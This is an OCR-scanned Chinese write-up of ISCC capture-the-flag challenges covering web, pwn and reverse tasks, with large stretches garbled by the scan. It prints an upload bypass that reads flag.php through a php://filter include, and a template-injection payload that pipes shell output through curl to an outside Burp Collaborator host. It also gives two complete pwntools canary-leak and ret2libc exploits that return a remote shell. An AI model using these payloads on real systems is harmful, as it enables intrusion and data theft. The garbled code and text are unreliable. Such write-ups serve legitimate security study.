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&I 1E{Erobots.txt

<« > C A FTZe 112.126.73.173:49100/robots.txt

User—agent: *
Disallow:
f10g. txt
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/includes/flag
/includes/flag.php
/upload.php
/uploads/

A W N

Mflag.phpatFHIEIZElindex.phpi#iTgetfE Schuizi, XIFRMEXHFEE
« (6] O RFRL http//112.126.73.173:49102/includes/flag php N3 & H =

it e
R BRI BRLEA A &, Mt asBfR?

b 2B ARATE, 7 e B S AT A B0

% get —IE “HET7 , —dHTHE

7Eupload.phpib &I R ge_EEFERR ItxtBI > s
EEREREMERBET. « « ERAIMNIZELFNIHMEAIMELEICM T .htaccesstzid (3
M) o PR REE—PMEphphthiGEAMNtxt EEMIT, REB[=ESHEMphp

£ backd0000000r-txt X +

Xt EE B

\<?php
highlight file("php://filter/convert.base64-encode/resource=/var/www/html/includes/flag.php");
7>




< & QO QF#EE hitpy/112.12673.173:49

b2 &

{e %R Th: uploads/bdckd0000000T. txt

A 4 S N 2 7 3B A

... | IR,

SAREIZindexA chuiziIZEXAT(

& C O R FZL http://112.126.73.173:49102/2chuizi=uploads/b4ckd0000000r.txt

<{?php
$ending = “RHARBMAEIIRAMMEBALAHM! HIRIN@EE TR TRk S AN, H3EaEhxT 2 HEB: SVNDQ3taaDFKMUBZMVSxc181MFIGAN59” ;
2

<!DOCTYPE html>
<html - lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>BEEK A/ title>
<{style>
body {
background-color: #f7f4fl;
font—family: “44K”, serif:
color: #333;
text-align: center;
padding: 40px 20px;

img  {
max-width: 80%;
height: auto;
margin-top: 30px;
border: 1px solid #cce;
box-shadow: 0 0 15px rgha(0, 0, 0, 0.3);
}
.content {
font-size: 18px;
line-height: 1.8em;
margin-top: 30px;

font-size: 24px;
margin-bottom: 10px;

.ending {
margin—top: 40px;
font-weight: bold;
font-size: 18px;
color: #9a2ele;
}
</style>
</head>
<body>
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SVNDQ3taaDFKMUBZMV8xc181MFOGAW59

From Base64 ~
Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars D Strict mode
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« > C B e view-sourcethttpy//112.126.73.173:16397/10yang 10 E ® &

<div elass="row">
<div class="col-md-12" style="text-align: center:”>
<hZ>pJes WERER T “F " EZRTIPRE! </h2>
< E IR B R (S BIR: </h2>
<hZ> T 5E N B R RMER A /h2>
I WK
<Pphp
ScharMap = [
‘a’ ‘a’ et = e, d = e, e =2 ey, e = e
A IR I R S e N P Y W
L S A G e e M A I L

I:
ScorrectAnswer
Smappedinswer = 7,
for ($i = 0; $i < strien(ScorrectAnswer); $i++) |
$char = ScorrectAnswer($i]:
SmappedAnswer. = $charap[$char]:

S
$shifteddnswer = str rotl3(Smappedinswer) ;
$finalCorrectValue = basefd_encode ($shifteddnswer) ;

$finalCorrectValue = "Zmjr':

SmappedInput = " ;

for (§i = 0: $i < strlen($input): $i++) {
S$char = $input($il:
SwappedInput. = $charMap[$char];

}
$shiftedinput = str_rotl3(SmappedInput);
Sencodedinput = base6d_encode (§shiftedInput) ;

if (SencodedInput === $finalCorrectValue) |
echo “kaisa RIER XK, CHREMAEWE? ~
) else {

echo "HMAHHE, kaisaBKTREHFELE? "

}
)

—»

I RN AR AN BT P FAT G2 = mNodpQ9rSIT W Akaisa -->

<h2>— EEAR IR /h2> ® =

e e L L

IRIEES A B FRAEIFH T —XZE/6hub
EERIELZI— 1N 2RiBbutton

C £ T view-sourcehttpy//112.126.73.172:16397/6hub E ] @ 9

uras S SULIIL LTAINSWREDSE
data: $(this). serialize(),
suecess: funetion(response) {
if (response.error) {
alert (response, error) ;
| else {
alert (' HARAIN! \n' + response. content);

HE
b
|}
</seript>
</head>
<body>
<div class="container”>
<div class="row”>
<iv class="col-md-12" style="text-align: center;”>
<he>AhJE: HEEIFORARS T HIrT: “HET 1 h2>
<h2y A PIRIT AT AT h2>
< fRi—2MAE, R A BMSRTERES T A0 h2>
<h2>IX BT R R AT 4, AR INi0E < b2y
<h2>igf s AR IR !t b2
ChDWLIRMET, E—EREASRERZR ) h2>
<form id="answersForm”>
<p>
<input type="text” id="answer2” name="answer2” class="form-control” style="width: 6%; display: inline-block;">
</p>
<button type="submit” id="submitBtn” class="btn btn-primary”*2%</button>
</form>
<button id="fetchSongTitle >4£7&</button>
<Sdivy
</dive
<fdive
<script>
document, getElementById (' fetchSongTitle’ ), addEventListener (" click’, function () {
var xhr = new XMLHttpRequest ();
xhr. open (" GET", "http://112. 126.73. 173:16397//Tetch_song’, true):
xhr. setRequestHeader (" X-Button-Click’, "true');
xhr. send () ;

</seript>

</body>
</html>
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« C | ® 112126.73.173:16397/fetch_song o} A < )

songtitle (1).zip
2,036 KB « 26E
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LOAD = SPLIT EXECUTE TEST ~ sQLl ~ XSS - LFl = SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

URL

http://112.126.73.173:16397/fetch_song

@ Use POST method MODIFY HEADER

Value
-Button-Click ¥ true
Name Value
Upgrade-Insecure-Requests > 1
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{{lipsum._globals__[‘os']['popen](“cu™rl 'Is | sed -n 3p’.2ehbkk

PRI RE B R REAIG? BRI

Burp Project Intruder Repeater View Help
Dashboard ~ Target  Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder ~ Comparer  Logger  Organizer

1x +

Payloads to generate: | 1

Copy to clipboard Include Collaborator server location Poll now Polling automatically

# Time Type Payload Source IP address
19 2025-5/-06 01:09:40.473 UTC HTTP koctutrphzb2fxubosrdgs6j8ae12rqg 218.2.216.16
20 2025-55-06 01:10:40.894 UTC DNS koctutrphzb2fxubosr4gs6jgaeT2rag 60.205.193.1

21 2025-55-06 01 HTTP koctutrphzb2fxubosrdgs6j8ae12rqg 112.126.73.173
22 HTTP koctutrphzb2fxubosr4gs6j8ael2rqg 112.126.73.173
23 DNS 2ehbkbh77h1k5fkteahmbawlysdjsagz 60205.193.2

24 HTTP 2ehbkbh77h1k5fkteahmbawlysdjsagz 112.126.73.173
25 HTTP 2ehbkbh77h1k5fkteahmbaw1ysdjsagz 112126.73.173
26 DNS 2ehbkbh77h1k5fkteahmbawlysdjsagz 60205.193.3

27 HTTP 2ehbkbh77h1k5fkteahm6aw1ysdjsagz 112.126.73.173
28 HTTP 2ehbkbh77h1k5fkteahm6aw1ys4jsagz 112.126.73.173
29 DNS 2ehbkbh77h1k5fkteahm6bawlysdjsagz 60.205.193.2

30 2025-55-06 01 HTTP 2ehbkbh77h1k5fkteahmbaw1ys4jsagz 112.126.73.173
31 2025-5/5-06 01:12:30.607 UTC HTTP 2ehbkbh77h1k5fkteahmbaw1ys4jsagz 112.126.73.173

Description  DNS query

The Collaborator server received a DNS lookup of type A for the domain name mNo4pQ9rS1T|2ehbkbh77h1kSfkteahm6aw1ys4jsagz.oastify.com.

The lookup was received from IP address 60.205.193.2:33697 at 2025-5.-06 01:12:27.390 UTC.

EIIHERANAPNflagiHiT 728, base64mii—T

Extensions

Burp Suite Professional v2023.10.1.2 - Temporary Project - licensed to h3110wOr1d

Learn

Comment

Burp Project Intruder Repeater View Help

Dashboard ~ Target  Proxy  Intruder  Repeater  Collaborator  Sequencer

Burp Suite Professional v2023.10.1.2 - Temporary Project - licensed to h3110wOr1d

Decoder ~ Comparer  Llogger  Organizer  Extensions  Leam

1% 4+

Payloads to generate: | 1

# Time

22 2025-58-06 01:10:41.718 UTC
23 2025-5H-06 01 7.826 UTC
24 2025-55-06 01:11:18.378 UTC
25 2025-55-06 01:11:18.899 UTC
26 2025-5H-06 01:11:50.304 UTC
27 2025-58-06 01:11:50.806 UTC
28 2025-58-06 01:11:51.226 UTC
29 2025-5H-06 01:12:27.390 UTC
30

31

32 2025-55-06 01:15:06.899 UTC
33 2025-58-06 01
34 2025-58-06 01:1

Description  DNS query

The Collaborator server received a DNS lookup of type A for the domain name

Copy to dlipboard

Payload
koctutrphzb2fxubosrgs6j8ael2rqg
2ehbkbh77h1k5fkteahmbawlysdjsagz
2ehbkbh77h1k5fkteahmbaw1ysdjsagz
2ehbkbh77h1k5fkteahmbawlysdjsagz
2ehbkbh77h1k5fkteahmaw1ysdjsagz
2ehbkbh77h1k5fkteahm6aw1ys4jsagz
2ehbkbh77h1k5fkteahm6aw1ysdjsagz
2ehbkbh77h1k5fkteahmGaw1ysdjsagz
2ehbkbh77h1k5fkteahm6aw1ys4jsagz
2ehbkbh77h1k5fkteahm6aw1ysdjsagz
2ehbkbh77h1k5fkteahmbawlysdjsagz
2ehbkbh77h1k5fkteahm6aw1ys4jsagz
2ehbkbh77h1k5fkteahmbaw1ysdjsagz

Include Collaborator server location

Poll now Polling automatically

Source IP address
112.126.73.173
60.205.193.2
112.126.73.173
112.126.73.173
60.205.193.3
112.126.73.173
112.126.73.173
60.205.193.2
112.126.73.173
112.126.73.173
60.205.193.2
112.126.73.173
112.126.73.173

The lookup was received from IP address 60.205.193.2:41186 at 2025-5.-06 01:15:06.899 UTC.

7h yséjsagz.oastify.com.

Comment

o X
{6} Settings
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{6} Settings
Pl
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Burp Project Intruder Repeater View Help Burp Suite Professional v2023.10.1.2 - Temporary Project - licensed to h3110w0r1d
Dashboard Target Proxy  Intruder  Repeater  Collaborator  Sequencer ~ Decoder  Comparer  Logger  Organizer Extensions Learn
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Flag: sfdzq)
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. Exeinfo PE - ver.0.0.8.0 by AS.L- 1172+162 sign 2023.06.21

| File: | attachment-7

Entry Point : 049040 oo = EP Section:  ?/28

File Offset: ? FirstBytes:  7F.45.4C.46.01

Linker Info: 7 SubSystem: 7

File Size : nnunqp,icqh <  MET | Overlay: 7

E:l'agnnse Iﬁ | ====
1

NDTWln EXE - .0 - ELF [ 32bit obj. Exe file - CPU : Intel 80386 - DS,"AEII ur

Lamer Info - Help Hint 'l.hpadq: infao
-z Compiler : GCC: (Ubuntu 11.4.0-1ubuntul~22.04) 11.4.0

vulnix g

Scan [t
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28| =
o o
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23] =
o o

H

Smart decode

Smart decode
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% DA - -7 CAL ho\OneDrive\SE\: -7 - o X
File Edit Jump Search View Debugger Lumina Options Windows Help

-] «evaey & & KB & 3 AV @O d o o F v om X » @ O No debugger v % | E

: O 1 0 J§

Library function Bl Regular function Ml Instruction [l Data [l Unexplored | External symbol Ml Lumina function

# Functions O & X| @ IDA View-A @ Pseudocode-B @ & Pseudocode-A @ Hex View-1 [®  Structures [ia] Enums =B Imports =1 Exports

1 unsigned int vuln()

n
@

Function name

7 _init_proc
ub_8049030
setbuf

char buf[64]; // [esp+Ch] [ebp-4Ch] BYREF
unsigned int v2; // [esp+4Ch] [ebp-Ch]

2
3
4
5
6
7
8

__libc_start_main
;:?;’nf V2 = __readgsdword(ex14u);
__stack_chk_fail puts(“What's your name?\n");
puts read(@, buf, @x8eu);
90D €® 9 printf(buf);
Sub_ T ) o
dl_relocate_static_pie 10 puts("What's your password?\n");
__x86_get_pc_thunk_bx 11 read(@, buf, @x80u);
7 deregister_tm_clones 12 return v2 - _ readgsdword(@x14u);
7 register_tm_clones 13}

E __do_global_dtors_aux
E frame_dummy

Zinit

Evuln

7 main

7 __stack_chk_fail_local
@ _tern_proc

o g oo oo oo oG58 DT

T setbuf exi
7 __libe_start_main exi
Tread exi
7 printf ex
7 _stack_chk_fail ex
7 puts ex
Line 18 of 27
& Graph overview 02 x|
00002210 vuln:1 (8049210)
& Output O&x

All data references to the segment will be replaced by constant values.
This may lead to drastic changes in the decompiler output.

If the segment is not read-only, please change the segment NAME.

In general, the decompiler checks the segment permissions, class, and name
to determine if it is read-only.

-> OK

Python
AU: idle Down Disk: 226GB

namefMBENbufEBiaitl 7, 1&6Y T canaryittdE, FREX—TFcanary

HEGIR

payloadl=b'A'*0x40
jo.sendlineafter (b'name?\n',payloadl)
jo.recvuntil(b'A'+0x40)

Canary = u32(io.recv(4))-0xa

a A W N B

log.info("Canary:'"+hex(Canary))

RUABTNXRIFRZBRIIRE, Niz@ret2libc
FREX— T putsK FFread K EIgottitt (F=11) , HAEglibchkzA, MMHEglibcAIE L



& C

O 8 libcrip

Powered by the libc-database search API

Search Results

Symbol name Address libc6-i386_2.35-0ubuntu3.8_amd64
Download Click to download

Symbol name Address All Symbols Click to download

read 570 REMOVE
BuildID 37ad1113183024f2a9¢ca12cf810806507033877
MD5 7e5fb7286d56af72a2860f020487784b

Symbol name Address REMOVE

FIND

__libc_start_main_ret
dup2

printf

puts

read

str_bin_sh

system

write

0x21519

0x1092f0

0x57520

0x72880

0x108570

0x1b90ed5

ox47cdo

0x108630

libc6-i386_2.35-0ubuntu3.6_amd64
libc6-i386_2.35-0ubuntu3.7_amd64
libc6-i386_2.35-0ubuntu3.9_amd64

SR 5 getshell

Exp

(ASEEZS

from pwn import *
jo=remote('101.200.155.151',12400)
elf=ELF('./attachment-7")
payloadl=b'A'*0x40
jo.sendlineafter(b'name?\n',payloadl)
jo.recvuntil(b'A'+x0x40)

Canary = u32(io.recv(4))-0xa
log.info("Canary:'"+hex(Canary))
puts_plt=elf.plt['puts']
puts_got=elf.got[ ' 'puts']

O 00 N oo b~ W NP

[
NG}

#puts_got=elf.got['read’']
payload2=b"A"x0x40+p32 (Canary)+b"A"x12+p32 (puts_plt) +p32 (0x08049210)+p32 (puts_g
ot)

13 do.sendlineafter(b'password?\n',payload2)
14 Hdo.recvuntil(b'\n")

15 puts_addr=u32(io.recv()[0:4])

16 log.info("puts_addr:"+hex(puts_addr))

17 base=puts_addr-0x72880

18 system=base+0x47cd0O

19 binsh=base+0x1b90d5

20  djo.sendlineafter(b'name?\n',payloadl)

21  do.recvuntil(b'A'x0x40)

22 Canary = u32(io.recv(4))-0xa

=
N

23  log.info("Canary:"+hex(Canary))
24  payload=b"A"*0x40+p32(Canary)+b"A"x12+p32(system)+b'aaaa'+p32(binsh)
25 do.sendlineafter(b'password?\n',payload)



26  do.interactive()

/home/starr

python3
Opening connection to 1©1.200.155.151 on port 1240@: Done

"/home/starr/attachment-7"
Arch: 13 lJ—little
RELRO:

Stack:

WX -

PIE:

RUNPATH:

Etrippﬁd'

Canary:

puta_adﬂ: ﬂ#+7ﬂ 6880
Canary:@=e/8cel4dd
Switching to interac

254267c4-1884-440a-996T-4
] Got EOF while reading in

] Closed connecti 71.200.155.151 port 12400
] Got EOF while sending in interactiwve

64URVIZRT



M Exeinfo PE - ver.0.0.8.0 by AS.L - 1172+162 sign 2023.06.21 — X

File : attachment-8 /}":I H :
Entry Point © oo4o01100 oo < EF Section:  72/29 il
_— [

File Offset : 2 FirstBytes:  7F.45.4C.46.0 ¥ ru

Linker Info : 7 SubSystem: 3 ﬁ

File Size : 00004358h = NET  QOwerlay : ?

i |
" i
Eif:-gnnse: . -——- J_

NOT Win EXE - .0 - ELF [ 64bit obj. Exe file - CPU : AMD x856-64 - I:IS,.’AEII U  Scan/t Rip
Lamer Info - Help Hint -'l.hpan::li info J —
-z Compiler : GCC: (Ubuntu 9.4.0-1ubuntul~20.04.2) 9.4.0 @ b =7

fgekIEX

¥ 1DA - attachment-8 C:\Users\jyzho\OneDrive\sifj\attachment-8 - o
File Edit Jump Search View Debugger Lumina Options Windows Help
5 H ®wvsv m 48 &% 3} Ev T O ] *v# @ X » O O Nodebugger g mrr
TN | ENEIRNRTETTN I I I N I I

Library function Il Regular function Ml Instruction M Data M Unesplored I External symbol Ml Lumina function

2 Functions OF X @ DA Viewa 3 D @Pseudocode-C 3 BO  Epseudocode-i T Hex View-1 ® Structures B Enms A Imports E  Exports
Function name 6 woid *v4; H r
et 7 unsigned _intsd vs; fj
mallo 8
T _setvbuf 9 = _ readfsqword(@x2su);
T _perror

8 ;f(hey' 528 )
1A

—isocH_scanf

1
1
1 ptr = malloc(@x6dull);
13 if ( lptr )
14 {
15 perror("malloc failed");
16 exit(1);
17
18
19 tr = 173443799@;
L]
21
22 3
23 gned int)__isoc99 scanf("%d", &v2) 1= 1 || v2 ¢= @ || v2 > 1824 )
24 {
25 furite("Invalid size\n", 1ulLL, @xDulL, stderr);
2€ exit(1);
27 }
28 getchar();
29 4 = malloc(v2);
7 perror EL if ( lva )
i,ilato«-sf:,m:\r 31 { g i
Zoxit 32 perror(“malloc failed");
7 fwrite
7 gmon_start 33 exit(1);
34 }
35 puts("flag:");
Coelzlptdl 36 __isoc99_scanf("¥s", va);
b i D8x a3 getchar();
38 if ( !stencmp((const char *)ptr, "flag”, 4uLl) )
EL] key = 528;
ag  free(va);
1}

42 return __readfsqword(@x28u) ~ v5;
- i} EI\JUUIIF.&IQ!ZI (4011EE)
= output
If the seér;uenr_ is no: read only please change the segment MNAME .
In general, the decompiler checks the segment permissions, class, and name
to determine if it is read-only.
-» OK

461808: using guessed type __int84 _ isoc$9_scanf(const char *, ...);
4p4@98: using guessed type int key;

Pythen
AU: idle Down Disk: 224GB

ARIEEBIEEptrigtt, BAasizetbBEEBIAL, AEFFRMFIEFIEAME/lagitiT, XIFREE
1tkeyZEA%520.

ETRELE E—@—, canaryitt®E, ret2libc, RAEXER64IRY,
Fia|BEEHK— Tpop_rdi_ret_addr, EEEEEBH— 1 ret,




(base) /home/starr/ROPgadget
python3 ROPgadget.py —binary attachment-8 ——only ret

Gad information

0x0PO0PR0O0040101a :
@xPRR0RR0eRR4s4R112a
P=000EPRRORaL4A1a /!
=@0pEPeRoRa4E13

=
+

=+

= =
MM M M M
—+

Unigue gadgets found: 4

(base) /home/starr/ROPgadget
python3 ROPgadget.py -——binary attachment-8 --only “"poplret
Q=00000008004014c3 : pop i ret

RiEputsMreadRYgotEFATE glibchii s

« c O & libcrip % O v J O =

Powered by the libc-database search API

Search Results
Symbol name Address libc6_2.31-Oubuntu9.16_amd64
puts 420 REMOVE )
Download Click to download
Symbol name Address All Symbols Click to download
read 1e0 REMOVE
BuildID 0702430aef5fa3dda43986563e9ffcc47efbd75e
MD5 43f465780e27467000a85d8dee3d84b7
Symbol name Address REMOVE
__libc_start_main_ret 0x24083
dup2 0x10eaecO
FIND
printf 0x61c90
puts 0x84420
read 0x10eled
str_bin_sh 0x1b45bd
system 0x52290
write 0x10e280

libc6_2.31-0ubuntu9.14_amd64
libc6_2.31-0ubuntu9.15_amd64
libc6_2.31-Oubuntu9.17_amd64

exp

AREIR

from pwn import *
jo=remote('101.200.155.151"',12200)
elf=ELF('./attachment-8")
jo.recv()

jo.sendline(b'100")

jo.recv()

jo.sendline(b'flag")
payloadl=b'A'*x(0x20-8)
jo.sendlineafter (b'ISCC',payloadl)
jo.recvuntil(b'A'x(0x20-8))

Canary = u6b4(io.recv(8))-0xa

O 00 N O U » W N

[T S
N RO

log.info("Canary:'"+hex(Canary))



13 puts_plt=elf.plt['puts']
14 puts_got=elf.got['puts']
15
16 payload2=b'A'x*(0x20-
8) +p64 (Canary) +p64(0) +p64 (0x4014c3) +p64 (puts_got) +p64 (puts_plt) +p64 (0x40135c)
17 do.sendlineafter(b'you',payload2)
18 do.recvuntil(b'\n')
19 puts_addr=u64(io.recvuntil('\x7f')[-6:].1just(8, b'\x00"))
20  log.info("puts_addr:"+hex(puts_addr))
21 base=puts_addr-0x84420
22  system=base+0x52290
23 binsh=base+0x1b45bd
24  do.sendlineafter(b'ISCC',payloadl)
25 do.recvuntil(b'A'x(0x20-8))
26  Canary = ub4(io.recv(8))-0xa
27  log.info("Canary:"+hex(Canary))
28 payload=b'A'*(0x20-
8) +p64 (Canary) +p64(0) +p64 (Ox40101a) +p64 (0x4014c3) +p64 (binsh) +p64 (system)
29 do.sendlineafter(b'you',payload)

30 do.interactive()

/home/starr

tion to 101.200@.155.151 on port 12200: Done

o'

ttachment-8

ing ASCII, no guarantees. See https://docs.pwntools.com/#bytes
)

(BSEMWE)

ISCC{03097e12-142b-44fe-a295-876599d1d88a}

Reverse

HKEE/m
E—T .k Zpyinstaller{T B el X4



A
= E\edge\attachment-48\something

patEti] SRR
ELF64 v 7.11 MiB

Ak FrRF
=k - LE
v ELF64

2 1E SR % Red Hat Linux(ABI: 2.6.32)[AMD6G4, 64 {if, EXEC]

FiF e GCC(GNU) 4.8.5 20150623 (Red Hat 4.8.5-44))
E5: Python
B GLIBC(2.7)[EXEC AMDB4-64]
FTE L 8: Pylnstaller
v BtAn: Binary[{R ¥ =0xd000, 7> =0x0070e7 0]

FED: 40
EHE g v | | BRRE -
Sk BH=

Bz La<ie, RMRTRSE, XHRNET

-~

=i

xmlrpc

=R HE

2025/5/1 21:04
D _ future__.pyc.encrypted 2025/5/1 21:04
D _compat_pickle.pyc.encrypted 2025/5/1 21:04
D _compression.pyc.encrypted 2025/5/1 21:04
D _osx_support.pyc.encrypted 2025/5/1 21:04
[ _py_abc.pyc.encrypted 2025/5/1 21:04
[ _pydecimal.pyc.encrypted 2025/5/1 21:04
[ _strptime.pyc.encrypted 2025/5/1 21:04
[ _sysconfigdata_ linux x86_64-linux-g... 2025/5/1 21:04
[ _threading_local.pyc.encrypted 2025/5/1 21:04
D argparse.pyc.encrypted 2025/5/1 21:04
0 ast.pyc.encrypted 2025/5/1 21:04
0 base64.pyc.encrypted 2025/5/1 21:04
[ bdb.pyc.encrypted 2025/5/1 21:04

W bisect.pyc.encrypted 2025/5/1 21:04

BERBLERME, REFLHFRABOT:

(ASEEZS

1 # uncompyle6 version 3.9.2

64 fif

=

2T

A
ENCRYPTED 3Zi%
ENCRYPTED 3Zi%
ENCRYPTED 3Zi%
ENCRYPTED 3Zi%
ENCRYPTED 3744
ENCRYPTED 3744
ENCRYPTED 3244
ENCRYPTED 3244
ENCRYPTED 3244
ENCRYPTED 3244
ENCRYPTED 3745
ENCRYPTED 3745
ENCRYPTED 3744

ENCRYPTED 3744

224 =

i

2 KB

50 KB

8 KB

7 KB

24 KB

8 KB

8 KB

10 KB

1 KB

EXEC

Lo T .0 T T ¥ IR

B e LN s

FE=E ]

=R

R
Lk 317
L ESy
X R



O 0 N oo b~ W N

=
(O}

11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# Python bytecode version base 3.8.0 (3413)

# Decompiled from: Python 3.6.12 (default, Feb 9 2021, 09:19:15)
# [GCC 8.3.0]

# Embedded file name: something.py

import mypy, yourpy

def something():
print(" ¥I&FE")
print("EEKEMKE")
print ("ERZILLEZ L")
print ("EMERBAARR]")
print ("&BEHLT ")
print ("BEEELLRERA")

def check():
your_input = input()
if your_input[None[:5]] == "ISCC{" and your_input[-1] == "}":
print("Come along, you'll find the answer!'")
else:

print("Flag is wrong!")

if __name__ == "__main__":
mypy .myfun()
something()
print("Please enter flag:")
check()

ABREHR—TmypyflyourpyXFW M EEEEE, EXWIEWINE, FeEEREREFEERE, TiIX—TER
FIEEA T, 1Epyimod00_crypto_key.pycXHE, REFIF—TpyciliEEE=H

pyimod00_crypto_key.pyc, 34/ : 153 B

=4

(9, [ - S WU S Iy ]

visit https://www.lddgo.net/string/pyc-compile-decompile for more information

FER
#
# Python 3.8.0 (3413)

key = "yibaibayibeilge1™

pyinstallerRi BEEB X TXMMEEMEZNANIE, FARZAES, BRZAE—T

(ASEEZS



1 dmport tinyaes

2 dmport zlib

3

4 CRYPT_BLOCK_SIZE = 16

5

6 key = bytes('yibaibayibeil801', 'utf-8')

-

8 1inf = open('E:\\edge\\attachment-48\\mypy.pyc.encrypted', 'rb') # FTHIMEXI
9 outf = open('E:\\edge\\attachment-48\\mypy.pyc', 'wb') # HHXM
10

11 iv = 1inf.read (CRYPT_BLOCK_SIZE)

12

13  cipher = tinyaes.AES(key, 1v)

14

15 plaintext = zlib.decompress(cipher.CTR_xcrypt_buffer(inf.read()))
16

17 # #pycsk

18 outf.write(b'\x55\x0d\x00\x00\0\0\0\0\0\0\0\0\0\0\0\0")

19

20 # BANBEHIE

21  outf.write(plaintext)

22

23  1dnf.close()

24  outf.close()

yourpyH N X HARFHEBEETAH, BEEEmypystal L

(ASEEN

1 # uncompyle6 version 3.9.2

2 # Python bytecode version base 3.8.0 (3413)
3 # Decompiled from: Python 3.6.12 (default, Feb 9 2021, 09:19:15)
4 # [GCC 8.3.0]

5 # Embedded file name: mypy.py

6 dmport time

7

8 def myfun():

9 partl = "ISCC{"

10 part2 = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX "
11 part3 = "}"

12 tmp = """

13 part2_1 = part2[None[:11]]

14 part2_2 = part2[11[:15]]

15 part2_3 = part2[15[:20]]

16 part2_4 = part2[20[:None]]



17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

35
36
37
38
39
40

for i in range(len(part2_1)):
tmp += chr(ord(part2_1[i]) + 1)
else:
for i 1in range(len(part2_2)):
if part2_2[1i].isalpha():
tmp += chr(ord(part2_2[i]) " 32)
else:
tmp += chr(ord(part2_2[i]) + 0)
else:
for i in range(len(part2_3)):
tmp += chr(ord(part2_3[i]) - 1)
else:
for i in range(len(part2_4)):
tmp += chr(ord(part2_4[i]) + i % 2)
else:
cipher = "qzjotubmmfs_IS_udgx*iotfrfsuiog"
true_flag = partl + part2 + part3
print(time.strftime("%Y-%m-%d %H:%M",
time.localtime(time.time())))

return true_flag

if __name__ == "_main__":
ss = myfun()
print(ss)

REBBERT —L, REAK, ZEBLEKRES, P—LEZEBRAMERLESR

AREGIR

1 part2="'qgzjotubmmfs_IS_udgx”"iotfrfsuiog'
2 part2_1 = part2[:11]

3  part2_2 = part2[11:15]

4 part2_3 = part2[15:20]

5 part2_4 = part2[20:]

6  tmp="'

7 for i din range(len(part2_1)):

8 tmp+=chr (ord(part2_1[i]) - 1)
9 for i in range(len(part2_2)):

10 if part2_2[1i].isalpha():

11 tmp+=chr (ord(part2_2[i])"32)
12 else:

13 tmp+=part2_2[1]

14  for i in range(len(part2_3)):

15 tmp+=chr (ord(part2_3[i])+1)



16 for i 1in range(len(part2_4)):

17 tmp+=chr (ord(part2_4[i])-1%2)
18 print(tmp)
19

SP
fRfEupx, v EEBRMIT, RFIFHHREERNELE
FERERILERZIE

etptr__ 7Stdcout,

std: :operator<<< : :char_traits<char>>(refptr__7Stdcout, )
tream rator<< , refptr_ 7StdendlIcS5tl1lchar_traitsIcEERSt13basic_ostreamIT _T@ ES6 ) ;

.?Sic_stPing{chaP)stdi:chﬁr_tﬁaitsﬁcharb)std::allmcatmrﬁchaﬁb>::whasic_stringi
XEERB— M FNERTAVI3HVIS (FiIRMEAE) RT, BRI UEZHAMRTEFEIRE
ttiflag
TELERINX BT R, shSEHEXEE—Tv13

set alsccU5QzKmR8

alsccU5Qz

TUREIES
WEERISH, SeBMHERMERIaghoHIird



v8 = dword_7FF66EB7326C + 1;

=19

v8 = dword_7FF66EB7326C
b

}
else if ( n2 < 4u )

v9 = dword_7FF66EB73268 - 1

o

if (n2 1=4)
break;
v9 = dword_7FF66EB73268 + 1;

}

if ( (sub_7FF66EB35A7@(vS, v8) & 1) != @ || (sub_7FF66EB35BDA(vY, v8) & 1) != 0 )
:)r=ck

f ( (Sub JFF66EB35C40(v9, v8) & 1) =0 )

{
LODWORD(v5) = printf(Format, "You get the flag!");
sub_7FF66EB36720(Vv5, sub I’FFGEEBBGHM)
sub 7FF66EBAEBCB( ;
v26 = @;
v22 = ';,‘
goto LABEL_27;

dword_7FF66EB73268

dword_7FF66EB7326C = v8;

0000551& main:91 (TFFEEEB3611a)

X—ERHELME—TOSTHKE, IRTAFE, 2R/ RALE, 344h, HETUMAEFEEHRE

vl3 = vid;
sub_ 7FF66EB36C70(v14, v12);
sub_7FFe6EB36CCA(V13, vil);
thile ( (sub_7FF66EB34D4AB(v12, vil) & 1)
{
n2 *(_BYTE *)sub_7FF66EB36D10(v12);
vl = dword 7FF66EB73268;
v8 = dword 7FF66EB7326(;

whilefBF A _LEAIRNRBEARAIZ 0, REENEVI2EEFEREREZAA, BI—REs
1. 2. 3. 4p98F5IR. Bv14dH FERRBMEBRGEFR, BARSLRESR, BEREEREXR, B
(2,2,2,4,4,1,1,4,4,2,2,2]

REBMEIE

argc_1 = argc;

sub_7FF66EB36330(input, argv, envp);
printf(Format, &unk_ 7FF66EB6985C);
scanf(Format_, input);

if ( sub_7FF66EB34F20@(input) <= @x18 )

if ( (sub_7FF66EB350F@(input) & 1) != 0 )

if ( (sub_7FFe6EB34F20(input) & 1) !=

sub_7FF66EB36798(v21, &unk 7FF66EB69822, input);
sub_7FF66EB36880(input, v21);
sub_7FF66EB350C0(v21);

¥

sub_7FF66EB34DDO(v2@, input);
*Qu19[3] = Ox176000001DLL ;
sub_7FFG6EB36A@0(v19, 23, 29);
sub_7FF66EB36B80(v18);
sub_7FFG6EB36BCO(v16, v20);

sub_7FF66EB35420(v17, v18, v19, vi6);
sub_7FF66EB35740(v15, V18, v19, vi7);

sub_7FFe66EB34B70(v14, v15);
vl3 = vil4;
sub_7FFe6EB36C70(v14, v12);
sub_7FF66EB36CCO(v13, vil);
while ( (sub_7FFe6EB34D40(v12, v11) & 1) 1=9 )
{
n2 = *sub_7FF66EB36D10(v12);
n5_4 = ::n5;
000050AC main:31 (7FF6GEB35SCAC)




ARESELE T, XNENREMEERUSHES, HEMOR
FIMREREMELIAEREMNBENE, ERMT

EENERBIEN S, XEAFREFHxxtcalHEATESENNZRE L, MEMEEL, TRNRE
EFAxxtealMB B ERKILIR

ARG ER
1 #include <stdio.h>
2 #include <stdint.h>
3 #define DELTA 0x9e3779b9
4  #define MX (((z>>57y<<2) + (y>>37z<<4)) ~ ((sum?y) + (key[(p&3)~e] " z)))
5
6 void btea(uint32_t #*v, int n, uint32_t const key[4])
7 A
8 uint32_t y, z, sum;
9 unsigned p, rounds, e;
10 rounds = 6 + 52/n;
11 sum = 0
12 z = v[n-1];
13 do
14 {
15 sum += DELTA;
16 e = (sum >> 2) & 3;
17 for (p=0; p<n-1; p++)
18 {
19 y = vlp+1l];
20 z = v[p] += MX;
21
22 y = v[0];
23 z = v[n-1] += MX;
24 }
25 while (--rounds);
26}
27
28
29 1int main()
30 {
